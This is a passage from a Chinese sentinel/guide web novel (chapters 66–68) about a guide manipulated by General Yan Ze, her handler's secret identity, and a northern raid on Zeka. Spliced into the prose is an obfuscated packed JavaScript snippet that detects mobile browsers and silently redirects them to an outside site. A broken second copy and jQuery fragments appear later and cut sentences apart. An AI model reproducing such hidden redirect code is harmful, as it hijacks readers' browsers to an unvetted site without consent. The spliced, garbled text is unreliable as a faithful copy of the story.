她只觉喉头一紧,手如同石化一般停滞在原处,晏泽修长的指尖微微朝上,将她僵直的双手一并扣入掌心。 上将有些疲惫地闭了闭眼:“我对间谍这一块一直盯得很紧,北方很难将间谍渗透进我周围,更多时候只能汇聚在鱼龙混杂的泽卡。这么多年来能到我身边的,也只有艾丽西娅和你。” 而艾丽西娅和自己,甚至都是在晏泽的默许之下,才能探寻到如今的位置,因为她们都是满足实验条件的优质向导。顾小绒用了些力气,试图不着痕迹地将手抽回,晏泽的手却忽然收紧,将她紧紧攥住动弹不得。 “害怕了?”他睁开眼望着她。 “就算是这样,但我也做了你的实验体,我们……扯平了。”顾小绒的声音干巴巴的,她很清楚在精神图景之外,晏泽必然已对她注射了大量的致幻剂,虽然这是预料之中的结果,是她自愿承受的。 晏泽撑起身子,他的手稍一施力便将顾小绒拉向自己怀里,一阵天旋地转后,二人的位置顷刻间扭转:“你如果认识艾丽西娅,就一定知道她是为什么而来的吧?”他用指尖轻轻拂过顾小绒的面颊,问道。 那座寂静的坟忽然浮现在顾小绒的脑海,她记得那上面堆砌的落叶与积雪,还有那被尘埃湮没的相框,在那上面,艾丽西娅和她的哨兵紧紧相依,那样的甜蜜与幸福。 “为了……伊莱?”她想起了那位哨兵的名字,一切豁然开朗。 在伊莱牺牲之后,沈骁、或者是赛拉菲尔计划的高层找到了濒临死亡的艾丽西娅,询问她是否愿意加入这项卧底计划,已存死志的艾丽西娅,便这样同意了…… 艾丽西娅深爱着伊莱,如同晏泽深爱着晏殊,两个不幸之人在命运的指引下最终汇聚到一处,因为强烈的情感与愿景,她在“逸散”中存活了下来。 “那么你呢?顾小绒,你又是为谁而来?”晏泽的语调沉静缥缈,循循善诱。 66. 第六十六章 韩奕的面容猝不及防撞入她的心间,她曾在寂静的夜里悄悄想他,在刀山火海的险途、在和死亡擦肩而过的间隙、在每一个不为人知的角落里,她绵长而悄无声息地想着他。 而现在,这份想念被猝不及防地提到了光天化日之下,被如此直白的剖开,露出她滚烫的心脏。 她已经离开了他那么久,也不知道她不在的时候他有没有好好吃饭、好好睡觉,是不是还是像以前那样昼夜不分地工作,有没有在任务中受伤,没有好好照顾自己。他还恨她吗?如果他知道了真相,一定会很生气,还不如就让他这样恨着她算了。 不知道晏泽是不是用了某种特殊的精神攻击方式,顾小绒只觉自己无论如何都无法抑制住翻涌的情绪,她的眼前一片朦胧,滚烫的眼泪无知无觉地滴落下来,汇聚成一片湖泊。 她一直都高度紧张地斡旋在危险的人物周围,竭尽全力遵循命令、传递情报,以至于并没有意识到自己是那样的想他。她甚至完全没有感觉到晏泽的手正轻轻摩挲着她的面颊,替她拭去眼泪,她静静地、一动不动地坐在那里,任由泪水如同大雨倾盆。 等到这一场滂沱的泪雨终于接近尾声,知觉才缓缓回归身体,她的视线重新聚拢,鼻尖萦绕着晏泽淡淡的古龙味,他已将她抱在怀里很久。 顾小绒浑身出了一层热汗,声音也变得嘶哑:“你是想要我自愿成为下一个‘通道’,是么?” 晏泽没有回答,只是静静将下颌抵在她的额前。论强兼容度与承受力,她确实是一个完美的载体。 顾小绒看着那双眼,神思不自觉陷入恍惚。如果她能接替晏泽,成为下一个“通道”,继续维持下一轮“核心”的运行,那么这场持续数十年的实验就成功了。这座由向导的尸山血海堆积起来的高山,终于打破了命运的诅咒,他们终于可以从这无止境的轮回中解脱了。 “你知不知道为什么艾丽西娅在后期不再传递情报,而是选择与我合作,成为实验进程的一部分。”晏泽望着她,问道。精神图景中潮湿的雨意已渐渐退却,日光升起,将晏泽深蓝的眼眸映照得冰冷璀璨,彷如宝石。 “嗯……?”顾小绒被那双粲然的眼捕获,连语调也变得迟滞。 “因为她已经感觉到,如果这个实验是成功的、可行的,那么北方最终也会无法抵抗住压力,他们会暗中获取我们的数据,推进同样的实验,复制我们的路径……毕竟,法律和道德在生存面前一文不值。”晏泽淡然地分析道。 只需一个“核心”,便能同时管理与对接上百个哨兵。对于高层而言,即将倾塌的帝国、与这样一套高效且稳定的向导运行体系相比,孰轻孰重,结果不言自明。 中央公会汇聚了全帝国上下最精锐的哨兵力量,都是A级以上的优质哨兵,因此他们几乎都能得到相对充足的向导资源,可是地方公会与B级以下哨兵的待遇就差了很多,各地的禁制塔几乎都一直处在高压状态,各地哨兵失控的事件也愈加频繁。即使没有南北分裂,稀缺的向导也最终会导致哨兵的暴动,帝国的基石仍旧在摇摇欲坠的边缘。 与其如此,不如让南方承担所有的罪名,外战可以使北方抛却内部矛盾、一致对外,战争消耗的一部分哨兵也刚好缓解了压力、达到可以持续的平衡…… 现在的一切叙事,早已超过了南北双方的分裂与胜负,如果问题得不到根本解决,那么同样的问题仍旧会卷土重来,没有赢家,也无人幸免。 顾小绒的睫羽微微一颤,她几乎无法相信,现在的她竟然完全理解了晏泽的努力与艾丽西娅的选择。 “艾丽西娅最后还保有意识吗?她知道自己在攻击曾经的战友吗?”顾小绒的脑子还维持着最后的一丝清明。 “我只需要最后一点时间去完成这个实验,小绒。”晏泽的手猛地收紧,将顾小绒的身体由内到外紧紧裹住:“真的,只需要最后一点时间就好。” “现在实验距离真正的成功仅有一步之遥,如果你真的想终结这场苦难,这只是一些无关痛痒的牺牲……”晏泽的声音带有一丝若有似无的轻柔与蛊惑,他的指尖轻轻挑起向导女孩的下颌,她眼中的光华已然消失,只剩一片沉沉的雾色。 如果战争可以结束、帝国可以存续、所有的哨兵与向导也能得到拯救,那么他呢? 这会是韩奕渴望的结果吗?从今往后他是不是就不用再出生入死、遍体鳞伤了? “对,他再也不会那样辛苦了,是不是?”晏泽摩挲着她的鬓发,温柔地引导着她,声音飘渺而低沉。他的眼眸变得晦暗,如同卷起了一场黑色的风暴,将她拉入其中。 她随他一道缓缓沉入了那片黑色的沼泽,身躯微微颤抖着,眼中混杂着悲伤、期盼与渴望。直到此时,晏泽的精神力才彻底击碎了顾小绒的防御,他全然地渗透了进来,将她拆吃入腹、吞噬殆尽。 “好孩子,答应我?”他将她揽在怀里,轻揉地抚弄着,声线变得空濛。 长久的等待之后,那张空洞的脸乖巧而顺从地,朝着他点了点头。 被南北双方反复争夺的塔尔蓝,此时几乎已成为了一片废墟。 轰炸机饱和式攻击之后,剩余的焰火已将倾颓破碎的建筑残体烧到漆黑,天际也因为连绵的战火,变作了极其暗淡的昏黄,甚至隐隐有一股血色。 黑色的硝烟自焦烈的土地上升起,塔尔蓝远处的海域也早已停满了北方帝国的战舰。南方军在此处刷新了内战中占领时限的最短记录,在南方发动的突袭之后不过三天,塔尔蓝便重新回到了北方的势力范围。 年轻的战地护士洛蒂跟随在医疗队伍的最末尾,她拎着沉重的医疗箱、步履匆匆,手心因为紧张而渗出了一层薄汗。这不是她第一次上前线,却是她第一次跟随队伍去治疗如此重要的人物。在队伍之前的两位年轻医生,一位是他们的队长布莱恩,另一位名叫科林,是韩奕少将的随行医务人员。 所有人都知道,除了帝国少将的身份之外,韩奕还是本纪元里唯一的一位黑暗哨兵,因为他的到来,南方军几乎是一夜之间就丢盔弃甲、溃不成军。 他们的队伍中没有人有过相关的经验,只有队长处理过一次S级哨兵的伤情。因为五感尖锐、危险层级高,哨兵的治疗过程几乎都是带着禁制环、手铐与脚镣完成的。他们的力量超乎常人太多,又因负伤而受痛,有时仅仅只是挣动一下便会给随行人员造成重伤。 因而比起普通士兵,医务人员最害怕面对的就是哨兵,A级哨兵在治疗时都常常伴随着风险,何况更高层级的哨兵。S级几乎已是大众恐怖的极限,而黑暗哨兵,则完全超出了他们的想象范围。 在前线的军营中,驻守的哨兵打开了门,让医疗队伍进去。洛蒂在队伍的最后,一时看不见室内的情况,只闻见了一股浓郁的血腥味。她能感觉到周遭有些紧张的氛围,五分钟后,见队长朝她招手,洛蒂这才从一众人墙中钻了进去。 眼前的男人浑身是血,正坐在一张行军椅上,他的脖子上拴着禁制环,手铐将他的两只手各自分开拷在金属的座椅扶手上。男人的头发深黑如墨,眼睛似乎因过多地失血而有些晕眩,正难受地闭着,从他的体型便可以看出,这应该就是那位传说中的哨兵。 年轻护士来不及思索,在队长的命令下立即打开了医疗箱,开始缝合伤口。因为镇痛药和麻醉剂的使用会降低哨兵的敏锐程度,所以只要是还在可以承受的范围内,哨兵一般都尽量避免使用此类药物。看上去少将是已示意过不需要用药,于是清创与缝合便直接开始了。 洛蒂缝合的地方是右肩与右臂的伤口,她的队长则负责左侧更加严重的伤口,那里有一处撕裂开来的贯穿伤,看上去像是旧伤,需要拆开线重新缝合。 哨兵的肌肉坚硬程度远超常人,洛蒂不得不开口请求少将稍微放松一些,那双湿润的黑眸微微睁开,韩奕轻轻点了点头。隔着这样近的距离,她能看到长官微微颤抖的唇角,因为疼痛,冷汗将他的脸颊浸得湿透,在这样严重的伤势下,他也只是小口地喘息着,并无多余的声息。 洛蒂不自觉呼出一口气,在众人的口耳相传里,她几乎快要把黑暗哨兵想象成怪物,可现在在她眼前的,不过是一具同样会负伤、会疲惫的血肉之躯。 少将的体型将这套束缚着他的手铐与椅子衬托得十分单薄,好像他只需轻轻一用力,那些多余的东西就会像纸片一样破碎似的。也许考虑到了这一点,少将的手自始至终安安稳稳地放在扶手上,更显得手铐与禁制环只是拿来安慰医护人员的道具。 他们花了一些时间才将伤口处理完毕,还好少将的伤都并未危及性命,只是有些发烧,清创与缝合完毕后,洛蒂一左一右在长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055905|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官的手背上扎进针管,他需要输血以及消炎。她听见队长与科林在低声交谈些什么,大概内容是需要如何降烧、观察,以及后续的休息静养之类的。 她瞥了眼少将冷汗岑岑的身体,又环顾了一下四周,终于找到了一件放置在旁的军服外套,她将那件外套拿过来披在了少将的身上,顾及到他的伤情,她把动作放得极轻。 “谢谢。”哨兵喉头微动,低声说道。 完成工作后,医疗队伍迅速退了出来,莱安几乎是在下一刻就走了进去,完全不打算给伤患片刻休息时间。 韩奕才刚刚穿好衣服,因为发烧,他的面颊有些泛红,额间全是冷汗。 “终于演完了啊。”莱安一进来就点开了手上的启动器,韩奕脖子上的禁制环与手上的镣铐也应声打开:“这些人的反应也太夸张了。”他的脸上挂着一如既往的嫌弃,随后轻轻碰了下鼻子:“好大股血腥味。” 听闻此言,他身旁的金发哨兵便上前准备开窗,在距离窗子一步之遥的地方被一位女哨兵截住,佐伊是中央公会新一批哨兵中最拔尖的一位,带着年轻人那股初生牛犊不怕虎的生猛劲,和对方针锋相对、寸步不让:“少将才受了伤,不能开窗见风,请您理解。” 艾维偏过头去,见莱安摆了摆手这才作罢,退回原来的位置。 “行吧,说正事。”莱安坐到韩奕对面,他脸颊上的纱布已经取了下来,露出一道深红的伤痕:“你让我准备的我都准备好了。” 韩奕对着一旁的佐伊点点头,女哨兵随即会意,和自己的向导退出了房间,出门时十分刻意地撞了一下艾维的肩。 “年轻人火气真大。”莱安眼睛不抬,嘴角却弯了弯:“你很受拥护啊,少将。” “说正事。”韩奕淡淡重复了一遍莱安刚才自己说过的话,他的声音还有一些暗哑。 “好好好。”面对低气压的韩奕,莱安明智地选择了收敛:“皇家公会可以抽调出30对哨兵与向导支援,人我给,方案你来定。” “嗯。”韩奕抬眼扫了下名单,惜字如金。 “具体事务你安排给艾维吧。”莱安朝着自己哨兵偏了偏头,门外传来了一些动静,看上去排队要见韩奕、汇报工作的人还很多。 “那我就不多打扰了,我的人交给你差遣。”莱安站起身来走到门口,又顿住了步伐。韩奕向来行事稳重,这一次却透出一股压抑的狠戾与急迫,他在战场上几乎是不留余力地虐杀着南方哨兵,一刀下去穿透整个胸腔,刀刃还能深入到墙体一尺。战场遗留下的刀痕与血迹,几乎到了足以令己方哨兵胆战心惊的程度。 “你确定要这么快发起行动?德斯菲尔军港的防护等级可不低,南方的主力军还保留了力量。”莱安的手已搭上门扉,却还是开口说道。 “如果上将觉得现在的情况经得起拖延,那也可以。”韩奕神情淡然。 “我是担心少将你的状态。”莱安转过身来,那双紫色的眼上下一扫:“才折了一个S级哨兵,要是你再有什么闪失,我怎么和陛下交代。” “你上次支援的速度不是挺快的么。”韩奕的嘴角牵起一丝不带温度的笑意。 “评估好身体状况再出任务。”莱安被噎住,半晌才咬牙切齿挤出了一句话,打开门走了出去。 顾小绒在迷蒙间睁开眼,视线一片朦胧,她望见了一池冷寂的水,许久之后扩张开来的瞳孔才缓缓收缩,她这才看清了眼前森冷的金属穹顶。 一道炽烈的白光朝着她照射过来,让她不由微微眯了下眼、偏头躲避,周遭似乎响起了一些嘈杂的声音,她听得不甚清晰,可是有一道声音却近在咫尺、越来越近。 “顾小绒。”她听见有人在叫她的名字:“顾小绒!” 高大的身影逆光而立,他俯身贴近她的身畔,熟悉的鸦片味信息素冷冽而锋利,充满了高阶哨兵自上而下的压迫感。她在恍惚间终于看清了那双冰绿的眼睛,感官像是忽然回归了身体,无数杂音忽然涌入耳畔,随后是说不出来的晕眩与痛苦。全身上下都在痛,好像每一处都被针尖细密地穿刺,一动不能动。 她意识到自己刚才似乎经历了一场抢救,仪器尖锐的声响还在不断起伏,她望着眼前的希里斯,思绪有了那么一瞬间的迟滞。 她从来没有见过他用这样的目光看着自己。 67. 第六十七章 “顾小绒。”她感觉到哨兵的手抚上了自己的脸,她的整个下颌都被他扣住,也不知道是对方冰得吓人,还是自己烫得吓人,她浑身无法控制地发着抖。 “嗯。”她发出一丝短促的音节,示意对方自己恢复了神智,那只钳制着自己的手才松了开去。 希里斯对着旁边使了个眼神,身边的人鱼贯而出,这个晦暗的房间一下就只剩了他们二人,空气变得格外冷寂。 顾小绒这才看清自己躺在一张病床上,目光所及之处的身体全部插满了管子,她感觉到额间一凉,是希里斯擦拭着她的热汗,在刚才的那一阵精神力“逸散”中,她的体温飙升到了接近39度,心跳也一度失衡。 长时间被囚禁在晏泽的精神图景里,她几乎已失去了对真实世界的感知。 希里斯就这样静静守在她的床前,眼神晦暗不明,他穿着一身白色的作战服。顾小绒仔细看了会儿,才辨认出那竟然是她第一次在泽卡见到他时穿的那一身。冥冥之中,故事的开头与结尾似乎在此时交叠,旧日的记忆忽然纤毫毕现,就这样走马灯一般地浮现在她的脑海里。 她像是忽然想起了什么似的,问道:“希里斯,如果那时候你真的想杀韩奕,为什么不瞄准头?” “……”哨兵对她醒来的第一个问题似乎有些不解,他蹙着眉,但还是回答道:“随便开的一枪,忘了。” “你……”顾小绒顿了顿,久未苏醒的思绪艰难地运转着,磕磕绊绊、词不达意地问了句:“你的枪法……” 这句话明显地激怒了对方,白狼露出一个几乎不可置信的笑:“我的枪法怎么了?韩奕与你面对面不过两米的距离,开枪能偏到小腿上,到底是谁的枪法不好?” “……”敢情你俩都只打我呢,顾小绒在心里暗暗地想,她的逻辑思维和语言能力这会儿才堪堪恢复了一些。 “该死。”哨兵的手抓住病床的围栏,金属栏杆在巨大的力量下发出破碎的呜咽:“你的脑子真的坏掉了,顾小绒。” “嗯?”向导女孩偏了偏头,看上去有些无辜,又有些迷惑。 希里斯到底是松开了濒临变形的栏杆,他沉默了半晌,才轻声叹了一口气:“对着你的那一枪,我瞄着肋骨打的,没有伤到内脏。”哨兵的语调低到仿佛落进尘埃,对自己开出的每一枪,他分明记得清晰。 “你……”顾小绒怔了怔。 “贯穿言韶的那一刀,我避开了他的脏器。”希里斯的一只手已从栏杆上垂落,他的眼中目光沉沉,令人看不明晰。那只手随后调转了方向攥住了顾小绒的手,高大的身影如同山一般将向导笼罩,哨兵欺身而上,S级的压迫感陡然而来,几乎让顾小绒感到一丝紧-窒。 “楚飞能活着回去,你和我一起放的水,是不是?”他一只手搭在床边,另一只手扣住向导瘦窄的手腕,不是在问询,而是在陈述。 顾小绒不可置信地望着眼前的哨兵,她疾速消化着他所说的话,唇齿打颤,想要开口,思绪却又像卡住了一般。 “你……你什么意思?”她怯声问道,身子抖得更厉害了。 “我的意思是。”暗淡的光影里,希里斯的绿瞳散发着冰冷的寒光:“12680号中尉顾小绒,身份代号:「银雀」,汇报你的任务。”他缓缓起身,亮出一个特质的通讯器,上面的屏幕亮着冰冷的蓝光。 顾小绒迷蒙的眼神猛然清明,瞳孔骤然紧缩,那个通讯器她再熟悉不过,是她用来与「尾鸦」联系的工具。哨兵的手稳到不动分毫,让她轻松看见了上面的信息,正是她发送给尾鸦的最后一次汇报。 “你把他杀了?”顾小绒声音一颤,挣扎着要坐起来,她这一阵动作让冰冷的针尖与管道在血肉里噼里啪啦地撕裂开来。 希里斯一把按住了情绪激动的向导,以防她把自己活活撕碎,但即使这样,鲜血也已经从手臂的连接处汩汩流了一片。 “啧。”白狼看了眼一旁又开始急剧波动的心电仪,压住了满腔火气,在确定对方在控制下已经不会再伤到自己后,耐着性子、一字一顿地说:“事情还不够清楚吗?我就是「尾鸦」。” “啊?”顾小绒停止了挣扎,过于激烈的情绪仍旧使得她热汗淋漓。 “你仔细看看这是我的,还是你的。”希里斯沉着声音,无可奈何地放大了屏幕。 顾小绒静了下来,她刚才惊慌过度,没有注意到那上面的发件人是「银雀」,而收件人则是「尾鸦」。她看了看屏幕,又看了看希里斯,面容混杂着惊慌与犹疑。 “我怎么知道是不是你趁我昏迷搜了我的身,造了个一模一样的道具,然后拿来迷惑我、骗我说出情报?”她啪啪啪一口气,说得又急又喘。 “……”希里斯沉默着扶额,他瞥了一眼刚刚用做抢救的强心针,最终还是决定对她妥协:“行,那用你的。”说着,他将另一个一模一样的仪器扔到了顾小绒面前。 向导伸出汗与血交织的手,将那熟悉的器物接到手里,指尖颤抖着将屏幕打开,扫描仪录入她的瞳孔,权限随即打开,并显示出了她的身份代号。 “确定了?”希里斯伸出手,顾小绒点点头,将通讯器重新关闭后交到了他的手里。哨兵摁动开关,扫描仪的蓝光掠过冰绿的眼瞳,随后在向导目瞪口呆的注视下打开了权限。 “中央公会29031号上校斯特兰,身份代号:「尾鸦」。” 更高权限者可以刷开低权限者的通讯器,难以置信却铁板钉钉的事实就这样离奇地出现在了顾小绒面前,她像是锈蚀一般地顿住了,思绪如同电流一般闪过脑海。从她开始卧底之后,每次「尾鸦」发出消息命令她执行任务的时候,希里斯总是恰好在外出,而在她准备靠近潜伏名单时,也是希里斯直接将她带到了晏泽面前…… “看你的表情有点失望。”希里斯面不改色地将通讯器塞回了她的手里:“是不是以为「尾鸦」是韩奕,还是说……你期望是他?” “……”顾小绒想抬手捂住闷痛的头,她的大脑像是灌了铅一样沉重,几乎无法支撑起来,希里斯抓住了她摇摇欲坠的身体,将她重新平放到了床上。 “难受就闭着眼。”哨兵一边说,一边处理着顾小绒刚刚扯裂开的针头。 难捱的沉默持续了有些时候,向导才艰难地开了口:“为什么杀埃文?” 埃文就是希里斯命令顾小绒拷问、并当面射杀的哨兵,因为曾经入侵过对方的大脑,顾小绒很确信他是韩奕派到南方来的卧底。 “他的身份暴露了,晏泽锁定了他。”希里斯逆光而立,神情隐匿在阴影中不甚分明:“如果我不杀他,剩下的上百位间谍都会暴露身份,用一个人换一百人,换做是你怎么选。”他的声音平静而冷酷,像是一尊没有温度的塑像。 “……”顾小绒无法回答,随后问出了第二个问题:“韩奕也在这个卧底计划中吗?”在说出他的名字时,她努力克制着颤抖的声线。 “不知道。”希里斯出乎意料地答道:“任务构架是单线的,我也不知道上级的身份。”他的语调顿了顿,很显然顾小绒怀疑的地方,他也怀疑过。 “从埃文他们那一支的脉络来看,与我们不是一个体系。”他继续不带感情地剖析着,如同一把锋利的手术刀:“虽然我也很怀疑韩奕对此是否知情,以我对他的了解,如果他下死手,你根本不可能有所保留地走出审讯室,他一定会让你吐个一干二净。而且如我所说,在瓦尔塔那的时候他明明可以杀了你,却只是断你一腿……种种迹象,确实可疑。” “我起初就不同意用这样的方式输送你,风险太高了。”他眸色一沉,语气凝重:“不过既然未经证实,那就当不存在。现在我们的处境都很危险,所以中尉,我命令你立即汇报任务。” 他重新将目光落到了向导身上,整个人仿佛脱胎换骨一般地站在她面前,就好像完全变了一个人:“告诉我晏泽做了什么。” “……”这个名字让顾小绒堪堪恢复的大脑,重新地动山摇地晃了起来。 她将自己在精神图景中遭遇的诡谲一五一十地陈述了一遍,中间有好几次,那种被黑暗精神力入侵的感觉都让她几欲呕吐。希里斯一边支撑着她的身子,一边凝神听完了任务汇报,他的神情冷得可怕。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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数个身影在他的怀中变换、交叠,最终停留在顾小绒沉静的面庞,她仍旧是以同样的姿态蜷缩在他的臂弯,双眼轻合。随着时间的流逝,她的身影已被白色的羽翼覆盖,身体逐渐透明。 这十年来,他便是这样一次又一次,遵循组织的命令,将这些向导女孩们送到晏泽的身边,送向死亡。 随着药剂的持续注入,顾小绒也许会死亡,也可能会成功“逸散”,成为新的“通道”。而根据她所提供的情报,“通道”重启的时候,也就是他们唯一可能彻底摧毁整个黑暗向导实验的时候,他必须把握住时间与地点精准出击,稍有不慎任务便会失败,使她成为第二个“蝴蝶”。 白狼骨节分明的手缓缓收紧,青筋自坚硬的骨骼与冷白的皮肤上突起,他的手腕微不可闻地颤抖着,感官过载的症状持续折磨着他,大脑中嵌入过久的金属夹片已使得他的感知与身体平衡出现了失调,现在的他单凭一己之力已没有把握执行任务。 “我会将信息传回去。”他垂下目光,久久之后才咬牙说道:“这一次不会再出现失误了。” 说罢,他开始拆解顾小绒身上牵连的管子:“你现在的处境很危险,需要换到一个安全的地方,马上就出发。” 南境的夜色星辰璀璨,月华如银。 一道迅疾的身影自远处渺茫的黑暗中闪过,朝着夜幕下的泽卡快速靠近。哨兵对眼前由蒸汽与金属搭建的恢弘城池十分熟悉,亮白的灯光照射在泽卡的边缘,此时已是凌晨,原本络绎不绝的出入口已一片空寂。 不过这不是他今日的行动路线,哨兵以快到不可思议的速度朝着某处城墙靠近,他的向导以惊人的速度跟上,并同时启动了干扰器,绕过了监控器与热感应器。 他们隐在角落里,直到向导的精神力探查完周遭的环境,确保安全后才再度动身。哨兵想要以全速行进,又有些犹豫,他回头望向自己的向导,护目镜后的深色双眸明净透亮。 “那个……前辈……”楚飞有些犹豫地开口。 与他一步之遥的距离,周成山已将一位巡逻的敌方士兵缓缓放到了角落里,他的身手又快又稳,几乎令人无法捕捉,连多余的血点都没有洒出去半分,敌人在几乎还没能靠近楚飞的时候就被他处理得一干二净。 “按照你的节奏走,我没问题。”S级向导从容地回应着他的哨兵,语调中甚至不带有一丝喘息。 68. 第六十八章 哨兵明亮的眼瞳中闪过一丝惊异,若是他不知道实情,他一定无法相信对方是一位年过半百的向导。 此时周成山正随他一道利落翻身下楼,动作行云流水,他们出发到现在已几近40分钟,向导的气息与心率都维持在十分平稳的水准,楚飞收回了他最后的一分担心,全身心投入进作战状态里。 这一次的任务保密级别十分高,整个公会除了放他出来的穆承安之外再没别的人知道,甚至包括曼琳。所有人都以为他还在禁制塔里被关押着,毕竟重新更换向导与调整都需要时间。 楚飞已不是第一次进入禁制塔,但没有哪一次这般难熬。嘴套坚硬又狭小,将他的下颌钳得生疼,押送他的哨兵们沉默不语,他在被塞上口枷之前最后一次支撑着询问周烨的情况,得到的也只是语焉不详的回应,这样的答复预示着什么,他理应清楚。 他们的精神连接终结在周烨摔下去的那一刻,在那声沉闷而遥远的回响里,世界仿佛变成了只有黑白的颜色,光影与画面一帧一帧地断裂开来,彷如定格。 他应该感谢禁制塔内不间断的灯光,曾经尖利的折磨在此时变作他尚且活着的唯一感知,在周成山走进封闭的禁制室时,楚飞以为自己出现了幻觉,他恍然中以为自己被关了半辈子,以至于竟然看见了年老时的周烨。 可他很快就辨认出了他们的不同,还没等他做出反应,一股强大而沉厚的精神力顿时破空而来,他被瞬间裹挟在深邃的海洋里,被对方毫不费力地捕捉。他从未被这样强大的精神力控制过,对方强势直接,几乎不容他的反抗,连接的瞬间他被剧烈的痛意填满,那位前辈居高临下地望着他,语调却很柔和,仿佛此时猛烈入侵着他的另有其人:“你就是楚飞?” 锋利的唇线一开一合,在那样的角度下,他的面容与周烨再次重叠。 而现在他知道了,自己也许是本纪元里为数不多的、有幸能被S级向导连接的哨兵,他们今夜前往泽卡执行的任务非比寻常,按照老师的说法,也许事关整场战局的走势。 这一次他们拿到的泽卡地形图,比上一次更加详尽,能得到这样一份详实的数据,我方的间谍力量几乎是赌上了性命。楚飞的前额渗出了一层薄薄的汗,他能感觉到前辈在根据他的体能状态调节着精神力的控制,他们疾速朝着泽卡的中心方向前进,而地图上显示着另外三个方向的我方哨兵,也正在朝着同一个方向前进。 在他们所有的队伍中,其中一位的移动速度尤其之快,疾速移动的光点如同匕首般划破沉静的黑夜,轨迹凌厉、一闪而逝,楚飞赶紧再次提升了速度。 门扉被打开,薇拉与露娜早已等候在外,甚至备好了可移动的病床。 “老大……”女哨兵才一开口,便望见了希里斯怀中抱着的向导女孩。顾小绒缩在哨兵的臂弯里,已然昏迷,她的身上还挂着一些暂时无法去掉的针管,气息微弱。薇拉声线一颤,眼里泛起一阵泪意,随即又压了下去。 “来不及了,我带她走。”希里斯余光扫了一眼病床,随即朝着通道的另一端走去:“战机呢?” “在楼下,已经到了。”薇拉随即回答道,整栋大楼都透露出大战在即的紧迫,希里斯的亲卫队几乎全员齐聚,将这栋楼里三层外三层围到水泄不通。为保证绝对的安全,连战机都停在封闭已久的地下停机坪,与这里仅隔着一个地下通道。他们才走出没几步,薇拉的屏幕上便显示出异常,东南方向6楼的4号位置失去了信号标识。 “来了?这么快?”旁边的露娜脸色一白,手随即朝着腿上的应急包伸过去,那里放置着两针催化剂。直接注射未稀释的催化剂效果十分猛烈,副作用也极其巨大,可此时她们已别无选择。 针剂被快速注入了两位哨兵的手臂,几乎在进入血管的那一瞬间,哨兵们的瞳孔便猛地放大,呼吸变得炽热急促,滚烫的气息从肺部一直灼烧到身体深处。 这其实也是很容易想到的,之前为杀S级哨兵,顾小绒被晏泽绑上了战场,对于北方而言识别出她的向导素并不难,只是不知道他们用了什么手段得知了顾小绒身处泽卡的讯息,而且定位得这样精准、来得又这样迅猛。 现在的情况已来不及考虑我方情报是否被间谍渗透,他们只能赶紧撤退,保护顾小绒是白狼下的死令,今晚注定是场恶战。 东南方向的7号与12号位置接连熄灭,西北方向也在悄无声息间一片黑暗,这两个地方都是最重要的驻守口,薇拉看了眼希里斯,随即拉动了警报。尖利的声响伴随着刺目的红光霎时穿透了整座城市,对方的行进速度不减反增,驻守在四个主要方向的亲卫队已然消失了大半。 在战场上,因为黑暗向导的存在,他们尚有与北方一战的能力,而现在黑暗向导不在,敌方就这样在他们的地盘上势不可挡、长驱直入。可即使没有向导,他们也都是希里斯万里挑一选出来的A级哨兵,如今被敌方这般摧枯拉朽,对方的阵容可见一斑。 希里斯再次提升了速度,薇拉与露娜跟在他的身后全速奔驰,他们位于整个阵列守卫的核心区域,薇拉与露娜已属于第三层核心防御,此时她们二人都已把住了自己的武器,按照敌方如此的速度,他们很快便会突破第二层防御、来到他们的面前。 薇拉的眼神朝后一瞥,哨兵锐利的听觉感知到有一串极轻的声响正在自己斜上方的穹顶处,即使是在如此高速的移动下,他们彼此的距离仍旧在迅速缩短。希里斯很显然也感知到了,只是此时他正抱着昏迷的向导,身后尽数交给了薇拉与露娜。 两位女哨兵互相对视一眼,二人即刻止住步伐,瞬时回身朝着后方射击。 一阵急促的枪声撕开了寂静到近乎压抑的密闭空间,紧随而来的便是一股巨大的爆破,薇拉与露娜同时抬手格挡住头部,硝烟弥漫开来,数个身影正从爆炸的裂隙中现身,朝着她们快速袭来—— 沈骁与重泽在下坠的过程中踢下了两个南方哨兵,而在他们身后不过两米的距离,布雷塔妮与艾瑞克已疾速跟来,在他们现身的时候,后面的南方哨兵也同样如同潮水一般围拢而来将他们包抄,大战一触即发。 希里斯目不斜视,已经与他们拉开了一段距离,他现在的位置距离停机坪还有相当一段路程。薇拉与露娜瞬时站定,几乎在对方落地的那一瞬间便上前与之缠斗到了一起。 这场战争委实持续得太久了,久到北方中央公会的前任与现任向导总负责人居然会有同时出场的那一天,薇拉想也没想,上前就迎战左侧那位身形高大的哨兵,而露娜则是朝右对艾瑞克发动攻击。没有黑暗向导的助力,她们配备的机械防御装置摇摇欲坠,对方向导的精神攻击猛烈非凡,那层防御就像是纸糊的一样发出破碎的声响。 薇拉是轻量级哨兵,对战重泽这样的重型哨兵有些吃力,对方的力量大得惊人,刀法又快又狠,仅仅只是一次刀光相接,薇拉便被震得虎口发麻,身形一个不稳后退半步。重泽在这个档口飞身而上,要不是此时旁边的队友及时扫过一发子弹,她也许就要被对方一分为二了。 布雷塔妮与沈骁被拖住了步伐,他们的精神力此时也到了过载的边缘,越来越多的南方哨兵朝着这处涌来,而希里斯已快速穿过一个厚重的机械门扉,几乎是立即不见了踪影。 薇拉反应敏锐,立即从这场混战中脱身而出,催化剂激发了哨兵过量的潜能,她用快到不可思议的速度朝着通道尽头的重型大门奔去。只是她的手才刚碰到关闭按钮的那一瞬间,一道更快的黑影便闪身来到了她的眼前。 